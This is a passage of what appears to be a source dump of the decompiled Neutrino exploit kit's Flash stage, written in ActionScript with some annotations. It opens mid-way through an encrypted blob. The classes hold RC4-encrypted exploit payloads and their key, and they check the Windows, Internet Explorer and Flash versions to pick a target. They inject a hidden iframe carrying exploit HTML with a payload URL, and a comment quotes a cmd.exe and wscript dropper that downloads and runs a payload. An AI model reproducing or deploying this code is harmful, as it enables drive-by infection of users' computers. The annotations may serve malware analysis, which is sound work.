CD9FFB8D94156AD9017FC7ACE7553E4E458A11047EA1B2373E71F24630C042E7D046A8870A0D7C9DB81D39421BB1CD5F82B948A3061548AC06783EF013AAEC28C5029A8DBE28927A35C0C4A4C889F4B84EF41A2AF19F36ED57CC1B6F467ECB5723B688C769E8F1A419D3BDC8CE0D7EA362271D3EF9D4036E2AC6DBC7B7B35CF05B626E754A6FDEC1F341423042EDEECF9FE960E6087478C4EC9239AE31EAE4E6485D26F0AE02D6DBCD7D730574625CFE7843C8404DB9C87997C9CD3EFF2BE91DA62998DC06A1DF97C3E3CC423BF49E50AC73F2EA44DDD7C57FBD0154BFB7B830CAB5AB6219F98BD25E764296B34EE92836DD2F3D555DC94F21D088DEB415C46AC63A949EBC08A1264DC88205DF37EB1FD230DA023968DADB77494D100CC76840AF324468059DB0CF940CE8BD49035841156F4D2A07BCDC90079E28605362FD22E3C0521B322219EAA44CF739DE5FA840C2EFA49756D5DB54CB77971F3C19A134A85276B5747FB8F67C7BCC06D5EC1326190F787F8AA941CE57DE90FFAC30A0BEF581D40F19E51DD6B8583A2BDD48D1A168936992AF6909B8B83DD4464A7EAEA209787B8980A2627455A3E47A0578E32332F9E3701CE490631CE78974167FC401FD27DB8D20B3BDE4903EEA704653729B775F754D64AA86EC1C426B0FF76E2A613FCD279C408B77F5DE890D8A293849EADA124F335757C097DA7286C9E7F2198A0CD265CD2AB30719896E805F2DD8EC56C019D05FD0F63FE4D97097BD17F86B53FF677F648FFF19F13AA6A64134E9E4C4B6644EF279749BAD334C43078DA716BA1C76BED48E12607185612FCF595A11ED0068A5B79EC4862E42A707DE7642971D1B535C2C5AE3DB2BB68ABF789DC6DB8FEDB83C7D7AA30EFB93584BA997438E12FC930D0392ED5AA367736F7EE966CB4D77A86F3844521950B95AC958772515FBE08A44248939A8B2B1DD918FF82B9DA500BCCCCA4DD2A3672B82FCAD34031C3EFE901ACBB788EB9426FDCA6368F367C9FB87D79369F4008A8DC29E8408032EE9EDE3515ACDCEB6FFB5C7049FA956BC9936B3BD0AB3749D1DEE61405511EE1FE740B1EDEABBE71C991A628D8A45C8C4D1C94D7A5A8790184BD7778B2C6FD119C602F8A61E236CA3CE9B3CA46415D5EA03014B63AF77B8A19FCCD6D6B96F131774524BAC4814E11AFAD0BB6DC354BA3E043F51DDA6E9F13685E5B68196D8CBF27F0639E7B7A0C0509AEFEFDDAC866EFDE38388304EA0680F9728BB80BF41FF4CFF1E2BD58280496AB7F149ACBA67A1CC71707E51C98C183B0EBF05C91A676A39AEB785212FEF4D46F2917C231260FE25385145803384288D2A47BE4D84830F5DFAE3EC3ABCB5D9761D323037EC4511A4FF15787FE4CA5E4C929773D13456F94375D9CBA8A01DEFCFE4CF0D565311BDF8E4D07D3B04CDE335D049E3FC674AFDA92408239107D3B9FA39A504929D6A5DB28E2FD1B88BF2EDAFC139964A2094BC98F207B393C5E13DB485E17F2A7CB15E980BF6D505CA7FC9B14091FC39E6F73D9903899483196FB399E8153C64B204B55D8327FF88462144494A431BA7B4579539A9EC7B94BB2FE55401BFA1A9BF891B83EF42C99D6E6C82CAD95E6A3D9F788A0D0D9A422E7693D504C90F90481933F7984F6E01603F44997B85BD7550E8E270D2A020CCA507D2FBB293DA3E4D86412F2446B94722FBABEA94DE35B43D9C7F688B31904304F071AAEE7B13C4A5B46A9E6BE5DE37BB3BE1CE2AA5E9CDED4A3FDB337FFEF19BA8185FD00B5421291FF6663E21AACD6F1BE5E92B9EF9229BE1875FB6B2845BE89317AC6DD04C2782D2E5F9F4C77B37EB3CBC060A412316187CBC539616E32963FAB9D3C62FC20D1F4263B2987BEDC03F015658F5C8644C12F1C7800295BC1014E4278D5150D8D37F7A5F3844D67FC57DF88D9BE1B0A0FEEA27EC26646DDCB624569A74B375739E7FEB9AD839E8920B32B19C0A379751F41D16EE643596EA1FC83557E6744B476525E8017543EDEE98F4B166A1C4EB6F8B6E0CE9E5479B6D4262E5CE6C763894C4388EA22AEE39884061336A571876B2A0DEE07992950D919D9188A2A5C624E9E85F9BCA31FA8FAB47DA084475227471A98237BC6A51BBF82F95362416DC560E1929F5676F74A425620DCF6B7CC4D449E32045EE5DB67715FC7442275183B670D32924DFB3E46A0BC7E084583573240ABAC12C89FCCF5ACB1EF5C862380C95AAC236A39764951DB72590362F8CAACAFF53763080E70DC7FB1FA3401961B2E19F5E728291D845FB022694C68D6DB2D4A804C18B2CDB06711E4B6B7931066828F22EA441950D70808A7A907077AFBA715384071302334CBEBD11C128CE1ABF5F0FD1134747D870C5E69B773E477C363DAC0C8567E51852ED9DE76706CA4305E131AB91C4947F57809E9FA8766FACE231D242B05A621122C91AD497DFE23D016D38B5797DE877F8E9D0F9E5D47670A355CFB9364B6725E546558F4FBF42C9B257E27838921D2E73F3C5815449EF99247EDFA1B1F60C094921B788F545F12021DD7D0A0AD9342C133096B3719F119C93002F354D8E4E40C7F2302491E5B4D9F0D047E27BDEE9EB6B4AA40C2803018C691BE8F4D58ECE596343A6F8D21DAF86BF94DB292753ABB627C44947C050200F4E635E0CCBA410DB739DE354AF326F940BDB14E47F062026D00EAC9080D3CAC0AD2374114C9E52AC0DF6EAD17D949C537F5A01F07495A9BD3CABCBC8A3498F8AA200A4620E47A6A9855AEC304F3C8C01DEA91FB2E2F1FCECE3AAE4FF18940D19D5C6CA3C5E2E61CE867014399154F724646CC86D1456BB0B0E48367D107091C07615A598C6E49D294B1B659AE0A6FAD91EC5B3747AD31C5A3684634F479C1F33D342990676D17C567F728FA33284E2F57E113E6F41B9BC54A4308AFB787627CC730E14800A267671A432B7E09EEF54509DFF42C29ACD43AFF8DFA54371361BA534D1360F00EE4424FFD6171BB0021F6F8F6D719B7010940F82DF53BBAFC244ADA4ECB95229E23F8012283D6CCE1292FEA3739652BAA477F403C0F3349D85AB0EBC6C7860651C157936B0F107CA04A60A6CB5D4C7459EC82238EEA37C1BF3AFE1668EFB259C4C28DEFC462DC927BAE1AD6212E7BC7BA2B213A2E7E32C94C9907537E0845A8CF7742DCA5012E2DCB7649BE242653E30409DBF58D6B2D3032868BBF0814522AB5CB5E08F58FEC3ACCF4A832618CE358AEC029221C87FA7644E894CDC2187644CAD86B20DD7D6554149CD0EE8F5EADF72126AE764DBB8188A5A065F26E1787D727D8D683A8D7E1F6BF0F0AC6056B30A51EBD5636F87C834F56A00F13FD3D8F49F32B5B46BE8E612997EF4B5B929051CF7DF49759AA5632E25392092F9C60E1CE460073C46BBCF105ACDDD58CE740DF63FBD2D54D4DBDF642B9CACEC0E3622714B81EE9D7FF9B2DAD7B6BD3B6E8010CFACFA1B32D0FD1C490F7ED14A329176A51E1648ED4A2C495053FA949E12358DB3AE9138D1552076414050AC64D388235B5A88BD0D39A1685736D58A9624146C4AB83C57CD93CBE3A35B1A6E16C92C03D5053CFA6E2C64A5F1901AC48EE2CF5BA20D97B71D18FAB42DBB46F0B11BC21C81FD26929F54B45CC138AF48194E23C243137FF4A3F132DCE33CD62359C7158F90B095EBA846CFF8777191354AA526E34A3ADA531987C55CB0263C9DC22694037F77057CC20BFBB2AB1C6F6A8C662DDBAB8A0D24D1D96E243ACC4423B3F3987D67CC8BA141CFA42DEA96AD529FE494CAF9C6534DB6A364755E3E2329D49C69EBB1BAC5E23E00BD7135C28B5E7A07B33DF5643680392828BB8A26DB21B5C599AAEDA178A549A9D9B78413CD72744010DEDFABB19B0A238F8ED31D130B42E863424875A7622E12936829143C88DC8D0DAEF1C4D07BA68E4B1FF8E7FC0317CE3378C759B2BD1D0461B47BA7A14DF842017B1ECB786675CB886249F47E9AE08CFAF251CD0AC07E08C84E7218EA5A27738DFFF29FFF60525FF3B0052CDE9C64648A9D5CB5D20E25E8C99A16DF4A891B90A5D486B51A195792AA4D402BF1C3C60A72D4D7A643");
53 | _loc2_ = class_2.method_2(_loc2_,this.var_8);
54 | //debug
55 | trace(Main.fromArray(_loc2_));
56 | var _loc3_:SharedObject = SharedObject.getLocal("nw23");
57 | _loc3_.clear();
58 | _loc3_.data["nw23"] = {
59 | "key":this.var_2.key.payload,
60 | "url":this.var_2.link.pnw23,
61 | "uas":this.var_1.userAgent
62 | };
63 | _loc3_.flush();
64 | var _loc4_:Loader = new Loader();
65 | _loc4_.loadBytes(_loc2_);
66 | this.stage.addChild(_loc4_);
67 | }
68 |
69 | public final function method_1() : Boolean
70 | {
71 | var _loc1_:* = Capabilities.version.toLowerCase().split(" ");
72 | if(_loc1_[0] != "win")
73 | {
74 | return false;
75 | }
76 | var _loc2_:uint = this.method_7();
77 | return _loc2_ >= 200000272 && _loc2_ <= 200000306;
78 | }
79 |
80 | private final function method_7() : uint
81 | {
82 | var _loc3_:* = 0;
83 | var _loc2_:* = 0;
84 | var _loc1_:String = Capabilities.version.toLowerCase();
85 | if(_loc1_.length < 4)
86 | {
87 | return 0;
88 | }
89 | _loc1_ = _loc1_.substr(4);
90 | var _loc4_:Array = _loc1_.split(",");
91 | if(_loc4_.length != 4)
92 | {
93 | return 0;
94 | }
95 | _loc3_ = uint(_loc4_[0]);
96 | _loc2_ = uint(_loc2_ + _loc3_);
97 | _loc3_ = uint(_loc4_[1]);
98 | _loc2_ = uint(_loc2_ * 10);
99 | _loc2_ = uint(_loc2_ + _loc3_);
100 | _loc3_ = uint(_loc4_[2]);
101 | _loc2_ = uint(_loc2_ * 1000);
102 | _loc2_ = uint(_loc2_ + _loc3_);
103 | _loc3_ = uint(_loc4_[3]);
104 | _loc2_ = uint(_loc2_ * 1000);
105 | _loc2_ = uint(_loc2_ + _loc3_);
106 | return _loc2_;
107 | }
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/src/package_1/class_6.as:
--------------------------------------------------------------------------------
1 | package package_1
2 | {
3 | import flash.system.Capabilities;
4 | import flash.utils.ByteArray;
5 | import package_0.class_2;
6 | import flash.external.ExternalInterface;
7 |
8 | public final class class_6
9 | {
10 |
11 | private var var_1:Object;
12 |
13 | private var var_2:Object;
14 |
15 | private var var_4:Class;
16 |
17 | private var var_8:String;
18 |
19 | // Function creates an iframe and fills with code
20 | // Starts by decoding the binary data in class_12
21 | public function class_6(param1:Object, param2:Object)
22 | {
23 | //debug
24 | //var_4 = class_12;
25 | super();
26 | this.var_2 = param1;
27 | this.var_1 = param2;
28 | //debug
29 | //if(false === this.method_1())
30 | //{
31 | //return;
32 | //}
33 | this.var_8 = "npyftmj31685";
34 | //debug
35 | //var _loc5_:ByteArray = new var_4() as ByteArray;
36 | var _loc5_:ByteArray = Main.toArray("79C68931F8C1737E7EFD76F5571E26D3B3E642FE1E010E733B4AA9809AF68BAECDCF8F4E4DFC220741C7467FC06D3427F04A042743950386F1708545D71CFC8E501ED90AD77855A77F33C8269C59EBE569EE50715C5AFF9BE4C4593343977DDF934BB7D99CF8273352F9696AF7753C895B9DEBBB66A5249E89C95CB098DC2BF6861245DA96CE8FB3CD1D2F822A978EADC7888250D6A406D1059F55925744EC977718F43092695AB08817921BF40464665C67F4C74A7316C4B132553283E207401E793936BBD27E1DEE68C205FDE60A672527DC5FF3AD3D17F43643DC7AC51F6A652284E7E740C86816D47522EB818E1BDC2DC16A530B775AC501BED520728E52041FF638A01D3ED586DC674121C78A19C2C4D8BC13D92D466FE4841F3983F0B943EB52632EC3609326019621E0EFB433319AF578FBEC77523977AE109F71AF01550F6E6FCF70B1E95DFFAC6896A264B42FB6A3F54D003205949158E0001FE6139D0B497C3BB4A207F21C0AAA18017FFB946B817F592B5BBC6DD7B8FB7F47EEAE66FCB04A6480710A0B172CE38E71E8017EB34D5EA94E05F934F045F3528F6D5E1CF12E319A550ED9669629E0513255E105E81D9768FDD1B5CF9BC92F9914B58D32F4A3294B2745466B2F3A4D3DA21B147597C5CA25E495896877272BEAEB0D60F91514C49F3D88152ADF27C94B19D81B887B29CE2E304CD06FFF8FA834CFE4740D2FF3CB8EEE8508C89FC3BF86A53CC35AEB828267F723852A0175FDC3D0CE0E2F24563C80153A40D1D1ABEB0C1EDA22EDE8314C744F1976DDFC33574FE554F030FC412D20F06E6D5B8AA67695AFBD6AADCFE26555B5AB6C536B2F081E60C4DDE2A21D4123EFB54A1320AC747C436C1EA5C6C29598645E8DED49B42F2491BE483619D98DFA79FDA9094046A9F54FEC33B50548CF808AADC630429CBB16DCFE2B8EE1AFB9B85D783C3E77AC177FF149B265FB14F5D84B5631F5BD4781461DE2C495B78DDDDE9E2271F4C85C68A076C5D87845D0D338317177674625C058AC396E3039E548CFDA39476F6733DED2D39DEC6F906B8C8D9F62D087811BB964146DB0AB3760F3DE00F1A88914E580096CAD6ADD2F42CEC2ECC3CB5AE534FF2FC8B92D9978193D5347087862965E3A8EDB37E90F32AE4EF969BCB23568E66114F38EA8B9EEBA3B1A8A44CA8A1D55245D04FE67424BA0453F649159F58B3065EC6E74702CDE5928736781BB024F6BE70E84747B52C97421659C6D95AFB04F95339859D411EF833E3B6C7167FD539BF179C1DA8F285457D037EF2577F502ED40DC18C091CDD31BE06469B575DF99CCCDA353914736691D825905D8B310A8A30D77EA115B890B44F86B765C53F2F9442EDA71DBE5302C3B007F9BCB2969810FCD60B1BC71BED51F970469A3E6FBA8DB0BBBA0FC008CAE935948C661EFDA659DD0CE362ABF31C159E5CE636BAD33FEEF2501AB983AF14550DC3C2A994E0A9B78E067BC01DA0A6DB432A02353E313C8286F69E9BC72B89AF27BF383A1F3396E2E9623DFB8EDF166AEBB8485509AAFD6EE128682AAF53C523D86C1A46D303A741EC8CF2532ACEABF9EE1AF0E22C2C658993AAE7149419329344710F1EAB9AEF6B3BC8588AECB5BB510E3C3E328E0383CEDB24382FA849F66B1ED7975CFA678EE16CA0969692D54E46040EFD40DB642D4B6D20EDE1135D368C3D04B559BCF0498D755EB427EA662C60F29B564E32816F4BB629CC467777F220D16443A2B51A207FAA560D1EF8775DDB7E4F8A009902BDA7A66D3F76A469C28A6A049DCF592D1C97219B6E3B7000BFD1ADDEC70F5AD1A5A58933FA693B8C84AC064AA5E8C01FC967AAD81C5CBFCA5AB2C7342ACB9CCAEC959B4D15EA6FC9AA462E166854BEFF63CCDCC24CB41D49E6910109E880172DA222A4BE3D398D657174388DC766B68AB67C6ACA8452BA13A0F49424EE52F3CA207A64C51935E50A15AFDF1BE3CE44BEA4F75739EA8925157740EEF2C1E23422006ECBC18F2EC730A4882246B7C12D7E45E182C42225861BD22C0BD06EE781B86D704119486566D18950306B89C7BE4740806ADA465B5F3E0D71A5FC6B81FD3F8BD597CCD578D40A0A9BBBD2C1F5EE6CCEA5290C3DA114F4A627DF38E64DFB60966B4619141B2D9A1B47E2032BF852368810E8117E56DB20D552ED3C5F1DC4993A6E7F46A9CD1259C98FBF23223E48CEEFF02CF7FF92CD107814CCA4590D93159C79EEBA41EA9558CF6ECF6F53BA2308111F857D0F3A1B157AAE519D659E74949D10A430A409272D0ACD9BEB17CEF9DE59573689B7F08CCC6F646A930B897103F89C9210CB4C0483C7E9948A774FB0CC5D0C4DF526D85F68C2329128F2C3B417102DD5989A20FB6EA415F5081652B9B2A52A432BE5F1445F812493C7B6D781774BCE3B7C38C00C3107E0D7E63933E840C7FAEAAFC1558BD6791CF669B5E9FE74B234877DDFF32EA660E0BD44AFDDE9F07888AC6BE6828386A678008034855C5F1E113EC9BB2027EF16FF4C02EA1D81A4D341C14DC27AF4B788B408BC2E73F4959B4953FA6DEA14DB2AF8D0232EF63645904C81CFCE00D7583A39DA72BCC1DA7D9450E33871C6ED7A15799B82B2368C3115F26BDD8A2C7EB99BE49C55CBA42925642FB50C34C9D4E09A426CF306A927139719300CD601D75DF3EDEF0667B079B64C04E9E07916B7548D4DB1C96F4132F40D5B25259F98E5038EE4BFC6E4AF1083BC11C54FA30308736B4C77A3A82E9145276867D9251C46C3B10164E015C03D9E1094A0F75464EA67A43202023FF2A52C564CC02D7C3186F4E991FED177545AC5F6AF39EAEA63DD38F05B14B3765DE51A31A1D4D3CCB69FF3ACDE7EA3E9DCB4FCD8B5A899AA6C9C829F8AB1C893FA4FC28FF904D5F37045EE4C87D91353EFFC6B123C267F78E598A3B5287BF9083745CCD2E477440E907D74A07968034113B48830CFC1C0B5C42371DA7196B630F55BB5DA6ABD26DB32FF99EA2F6541C85CE96E958698D82CB92C032F98F99B4334A55163A4AC177B38A704C44067F471A2A7DB85FB40499FC7BA9C6DEB9BF9D5148AEEA5FDA2010E6A90E48CB805540E0CE213FA4C019D8D7634E7B159F02017F20D63986DF9A49C3C3BE67A4271D18F9C4F3D6E569263ED202BC495E147CCECC75C51EA38873FB681156173C584FE434D6213130044BABDFE279C553DE157F4D5E8105A11AC828FE4FBC0EDBCB38163DFF1C71CE4E2984B08D0D3245859E8359A09C4D6AA1F6CC0EB477D5");
37 | _loc5_ = class_2.method_2(_loc5_,this.var_8);
38 | _loc5_.uncompress("deflate");
39 | var _loc3_:String = _loc5_.toString();
40 | var _loc4_:String = "var iframe = document.createElement(\'iframe\');iframe.style.width = \'50px\';iframe.style.height = \'50px\';document.body.appendChild(iframe);iframe.contentWindow.contents = unescape(\'%embedHtml%\');iframe.src = \'javascript:window.contents\';";
41 | _loc3_ = _loc3_.replace("%payloadUrl%",this.var_2.link.pnw25);
42 | _loc3_ = _loc3_.replace("%payloadRc4Key%", this.var_2.key.payload);
43 | //debug
44 | trace(_loc3_);
45 | /* Once escaped, we get the following:
46 | * cmd.exe /q /c cd /d "%tmp%" && echo function Log(n,g){
47 | * for(var c=0,s=String,d,D="\x70us\x68",b=[],i=[],r=0377,a=0;r+1^>a;a++)
48 | * b[a]=a;for(a=0;r+1^>a;a++)c=c+b[a]+g[v](a%g.length)^&r,d=b[a],b[a]=b[c],
49 | * b[c]=d;for(var e=c=a=0,S="fromCharCode";e^
64 | * Inj6sFosp && start wscript //B //E:JScript Inj6sFosp "
65 | */
66 | //_loc4_ = _loc4_.replace("%embedHtml%",escape(_loc3_));
67 | //ExternalInterface.call("function (){" + _loc4_ + "}");
68 | }
69 |
70 | // Function checks to see if environment includes Windows XP or IE
71 | // http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/Capabilities.html
72 | public final function method_1() : Boolean
73 | {
74 | if("Windows XP" !== Capabilities.os)
75 | {
76 | return false;
77 | }
78 | if(false === this.var_1.isIe)
79 | {
80 | return false;
81 | }
82 | return true;
83 | }
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/src/package_1/class_8.as:
--------------------------------------------------------------------------------
1 | package package_1
2 | {
3 | import flash.system.Capabilities;
4 | import flash.utils.ByteArray;
5 | import package_0.class_2;
6 | import flash.external.ExternalInterface;
7 |
8 | public final class class_8
9 | {
10 |
11 | private var var_1:Object;
12 |
13 | private var var_2:Object;
14 |
15 | private var var_4:Class;
16 |
17 | private var var_8:String;
18 |
19 | public function class_8(param1:Object, param2:Object)
20 | {
21 | //debug
22 | //var_4 = class_13;
23 | super();
24 | this.var_2 = param1;
25 | this.var_1 = param2;
26 | //debug
27 | //if(false === this.method_1())
28 | //{
29 | //return;
30 | //}
31 | this.var_8 = "npyftmj31685";
32 | //debug
33 | //var _loc5_:ByteArray = new var_4() as ByteArray;
34 | var _loc5_:ByteArray = Main.toArray("09C6BF31C04370FECD6A55CA5F6A2F2DE4FBEF88EEA797FDCE71DB4675C815003F939922B559A315C76A6FD20544694AC47E578645A45738C4ACAD4393EF995CB3F3D69873A44DA1320DCEAAD99A2F7CD4746D4F5B69EE67B602B56F16DC10CBB9DDFBFE5FC0611BC847E3A037E7FDBFD4F56EF539FEEB98C715645E8E9091D8B72AFF356CF93612E6D222B453BA649F69B4249381824AA3734E90DDD7CFC4F98B47726A0A639FF9A1015FBE3A7705DE718026526C743A67F3E0394C41B854F6A2D2501D30A0B138911DF79A94BE773F9F33CE6A38ADB7DDA67E31C85A690EFF1E18C8C57F46F543FA9764243FA759A06CA23060C49762125DB45E092AD8829E714D3388D95F1A82F3EE396F69282FEF19CEE76B7D4B4E673CA0EFB5B067B8CDD1472BDD47117090F6988F323DA6E9481A2C052ADCDA9C45543F748D0474E6E08DF7D8A3AB1438A18B0D877BD6F0182072BC1D27DD7FE86485F7340502D2213FE2F894DCC21892C6B179D120F0CC031330A3A3066952CECCAE132D1C828BF40994A8E5E349226E26E25A0E6D35C57667A69ABCDDC2847193BEED6FB8B8102A432820A03857E0FAC2BA0F4C8F7C07A208E80F6354FEBF8B7AEB3F4D0C63727EAF2CE0D6020CFFB1357A295CCCA32DE9E3C7C1B3B713D47AE4CECBC6BEEC9C44DB344DAA494B845A06666369C6C1592018E7573C9FAA250FBFE9C642D2276EFA54B5BF023902A5A09AD9D3194EC99D38DB2B18E6E92D2000CFB0D21A555D908580FFB08FBE034F6945398B3617BB117E5EC14D0282C10CA55AB9345CFE8B8DE4B87683C401DF5E70197FC8A55978297A1F7E03DD8F4855F2702861710C696B012F8BEAB8CE58142DD4EE3E871220FCD859CAC6541E6DF4BF6B0E916D44F872A9B51AB6410C9A17526A500929754164EBA27CF2514B2A68E4B2A5D3E8EBC4B317BA51AA3F8D563A281042EA3D0C9F7E4770790ED4FE26154F96A3BCB96131029931EC2B0EF0F8C1081F2A8BCF6717FCB0E1D03D5386116BF659272AAD91DCEE97ED31105D8090B7850D7CAF2701069C3B10D531A9385203745959D380FC95F276B5AFC58CCBEA6F529711A64BAF2DF44BE4226F3C24B715AF2D9A7999261ED293071DDD095D49905E2DBA79DE01D6C4125B3CA1C53D964E251764D5889B56BE46DC528A793026A9B6C04477D99E4D6E48EA88208CEBE866F2B7F63C6D71F217FFD9B5CE09796FD1E5A149B8D6F69F21B381D805803EDA77C02C8B4AE017C14DA4EF34CDB37D8EF39BF172ABA369134E5B6F374A35195AA0AD1E187D63657C6157410BF61A10E21C06A7F4F8AEBA4CD99EA3EF37E3DCD3D45565469850280DB6A0E7319E3E9F582E3679F370192A09B123723BBB6709A88A07911D2F0FC2E4787393C99D83D114970A37C6A72F0083E6AD0D2B388DAC773EE0563EE1D44E2FF4BA8CCBD4DBAB5E3668D8BB1AB3CC3B2E9211DA731F13970826FA4798F2FFABBD9E3641FD5CC4F92B95D5BF2A2AD0FC6559972C53B7B20A6B40C6D97D8166B7A8D6E0D3675EC538872F655727E2B1CD6F0695492F430FC9496623A0AF32DB127299BEEA7EC483DA495B8B06077EC7E2C664F41A629249CFD8197EE662E25C8E56783B6529246134EEFBDD767060E245518F4223D7017FBF83ED708FBB31647D8720076191F064F2166D1F27CC366FB90239A718F6BCD5E026641189F50D01E7D840CDCDD8CB659F1F58E4D78BD6E0422A11BAF731FDCC51BABADC1BAA90A1BC4E62C642B9E7DC0E476AA8BF40B063F2BFEC8ACAFF45EC2941FE5D7EA4970A595D4E886F4C7240C7F4EED91F60CC134D0118404CD77A55866D39461FAE508BDFD71F5AEA95DD1BD7CD0D6D6856D64DA31C8208A5C910C3640BEE572B45DA42B6561CA428DF9E760F44DBFC2EAE72EB2162678FD5F2C7509BF002005718855448E4D8DE90E8D4DA45924E955B6A26F6E2FB4D8141D879F5E3C757090083966577CBDF05FD6075E449151CB4DA7A357644C286D02C67CCE3ECC57D8F705D63FF943F73FBD16E7154BEF8877190E28666509CEDE7205418D3A0522CB42062FE1E1F49B971F6174932E6D582A1A0F48CB83714CF9EBC82450BBF6D4AACEA390F8422A6BF909278D4D1EB4FA85FEF8BAE2EC9D7601A6A4602FD43A072178459A42B203E8740B15BCDB9199884DB297603A258E393203AC770C1DBA43BB6426B4160A2EB218FECBA4FA583E5AE896AF3778DD832A8A64BDAE813A8F71440F2624388E6F9D3E4ADB273BF510B8D8E0C88D55FFEB0854CC7662ABBEA04A4C6FB3F25CFD561F857178AD707576504297C941DBE91B16211A4B45EEA23AE54AB3404EFF1954B5D177F969F1E12F35DDA311780DBD4277323CF8893F831C3459AF33B3E665D9DF1B2878F0EA2CC0A681E28F8909748B015E6A13BF9F9FA328E5BC3DB64C5BB2812425E5B7C5B4C81AE6F375316238013B1278AFAAE5068880DB339F23933468504928BFA580BD0D001214E3B0EF3CF4071BAE56F492397AAE91BABD26B65B59E6CA2F2D10BC822E99EF56CF3F8B94184C54174EFEF123D27B92DD5DCFA232F78D6A4CA8EF9FDDEA64FAFB3A887EB4388EC6DBC7E021922195686EC4AC307D90C3485390436860FB8D8A0422B0F54C880544306FC12EB4E4BAAF72BAC9DC1D9547C4830A229EF83A7C131BF1338F9AFC86778B4D19F476D7AECFD87416B6D34003F7AB6A7CDE9173E13A6E0E6C667B3BDF3B60241D8AAAF7E3851DDE15B17FF4DC9AB3F0AFEB6F379A441D99106CBCE2BEF1EF4CC065360AEB355EA010E9EA51C966BDB04A73F0A7CB7CC86D4C116874561977269964D29E2D4C66E1685F020E1B09147A0E7C8E304B3B7573571372CA7E7CE576DB33E6D70CEB517C2AB017E25FE4607D7A6F2D757F3137A2998152FBE6595ABCEE0424E28D264B5C4432B51004AACE18C51914D13F7C840D8FE5F9544C7298D8D33D353493862E071D04109388AE043CF2E3F22440B95B1D558BCA0AE1E6B66E63010E30385AEB0DFAFC2092798887214DAFA5C91DD930204875EFA442BCA781644BBC8665E0A07F535D84FE358B8297EDC6ABD37CBCA79CE233F4995C19614FC5462C2C3AFF51B09F5B84D1FE00FF23246756D8705ECA607E30A37B49AF08DC9F8FC626AFFB98BFA3F9FBAE9D227540D4A39C9CF45F23726BF2FC410B0B093BE45B2FECCF8D2464B89790F40BE184ADD1A75799AC1347127B7532E9907F3EEFB326652C135701F20FA0DA9B4370EDFE7D4D4EB65D4349D5888F572172921924172EE73C8723857C19465FD9B2C1EFFC5C5F2DCF4E9C24DEB5E7BDBABC5B510B07E8D67B0685B85D97EB39DB63C2A7FEA9842FE2B0BF9A8DCCAB3420E8351F28DA514010ADAB59E3A");
35 | _loc5_ = class_2.method_2(_loc5_,this.var_8);
36 | _loc5_.uncompress("deflate");
37 | var _loc3_:String = _loc5_.toString();
38 | var _loc4_:String = "var iframe = document.createElement(\'iframe\');iframe.style.width = \'50px\';iframe.style.height = \'50px\';document.body.appendChild(iframe);iframe.contentWindow.contents = unescape(\'%embedHtml%\');iframe.src = \'javascript:window.contents\';";
39 | _loc3_ = _loc3_.replace("%payloadUrl%",this.var_2.link.pnw8);
40 | _loc3_ = _loc3_.replace("%payloadRc4Key%", this.var_2.key.payload);
41 | //debug
42 | trace(_loc3_);
43 | _loc4_ = _loc4_.replace("%embedHtml%",escape(_loc3_));
44 | //debug
45 | //ExternalInterface.call("function (){" + _loc4_ + "}");
46 | }
47 |
48 | public final function method_1() : Boolean
49 | {
50 | if("Windows Vista" !== Capabilities.os && "Windows 7" !== Capabilities.os && "Windows 8" !== Capabilities.os && "Windows 8.1" !== Capabilities.os && "Windows 10" !== Capabilities.os)
51 | {
52 | return false;
53 | }
54 | return true;
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/src/package_2/class_7.as:
--------------------------------------------------------------------------------
1 | package package_2
2 | {
3 | import flash.external.ExternalInterface;
4 | import flash.utils.ByteArray;
5 | import package_0.class_2;
6 |
7 | public final class class_7
8 | {
9 |
10 | private var var_3:Class;
11 |
12 | private var var_8:String;
13 |
14 | // Function creates and runs the JS that checks the BLAH BLAH BLAH son!
15 | /*
16 | * param1 - Function to perform on success
17 | * param2 - Function to perform on failure
18 | */
19 | public function class_7(param1:Function, param2:Function)
20 | {
21 | //debug
22 | //var_3 = class_14;
23 | super();
24 | this.var_8 = "npyftmj31685";
25 | // http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html#addCallback()
26 | //debug
27 | //ExternalInterface.addCallback("onSuccess",param1);
28 | //ExternalInterface.addCallback("onFailed",param2);
29 | //var _loc3_:ByteArray = new var_3() as ByteArray;
30 | var _loc3_:ByteArray = Main.toArray("31C8BF2DB8C1707EE916E6234D94770311C2F3BC75F65DD7658CBBB43EEFBC7F22B0B13C0B44E1CE7268AA0860A4496F05191737A129332CE68EE4A728EDAD81BA9AC56CFF664780C099B146382F2BDB43BF1D101E01D99DBC7DB76073F627BD5BC9F952823EB1EDF5A407C1BED4E40EBEB3852DB2382351C6DA1B3BBC9D5F590CC9CE092C510547D3E8156F81C8BED4FE65638A7092D2283CF0EEAE09A7292BC654E4943A6198C49078049B918061891085B424F809FB1E6071799848A5CCC9FBF18157DB57D00B834C3702C0106115D5ED7A230C4DFAD87C1B069E8A4C8B3002ACF6082B570286AC0A262463F40C853E57B5E579745F381E7FDCEF6491C9D42A14B21ADF11A7582AE518DE59516E2B8631ADAD11AE32DDA5CA68A7CF251CE573B42BF090612688A82CA561F7AA93DA20AD8CCEA9FBF969278D97E08D06091C34258B3AA4ACC7F7FF47753A2F0B4A71D1A797CD96A0CE28808828A173EDB9CA9C067661AA9F150807F7D1907EBA5B7EDE89CA1709C37FD6A70E40AFDF7AE607BEE4C04C6CC2504BBB88069C93ABF68BD2A42BFB3918CB5A8F601EA61963EA7FBC1CC8E869D01BC74411EAA20512228AEF3DF6CF4C97466F64732C5C6875F602FD1AC65647A0B111147E8CB1B177B8BC4DB13F9ED59B516A329461AD85FD904CF4833F66EC8B2C8B3443DCE0ADB52F8AD8F9503A3385B5FD109127AFA715E9F7958F798B85E845E0270468A1CBE9C383C0425044DEC09B1088EA8F6FF9F8445915B5D46CCC9765D4372BD2403A660F5367E947C0EFF5619847A7D8A876E1843258E64D9344BEAE812AFA6CE90183F6B459BA8DA2E71F635384EA576E98CD9414C59933980BC57D9873CCEEAE1932C1E71562658A8560E7CE7EA12DA01A2025AC2B66E257398D1BA36346A2AB4B8542DE4C109F038FE488C5DC92B294B755E1C69867598F0C9F96C207C07529E981C099CA669D4EF0059A47736182A7FC27BBDDCBD25CE4D281F6958462B4A9F21CA6EA6B90F95B81BA0A2B4D853EFA04B1EB6E5AFCC98EA5ED617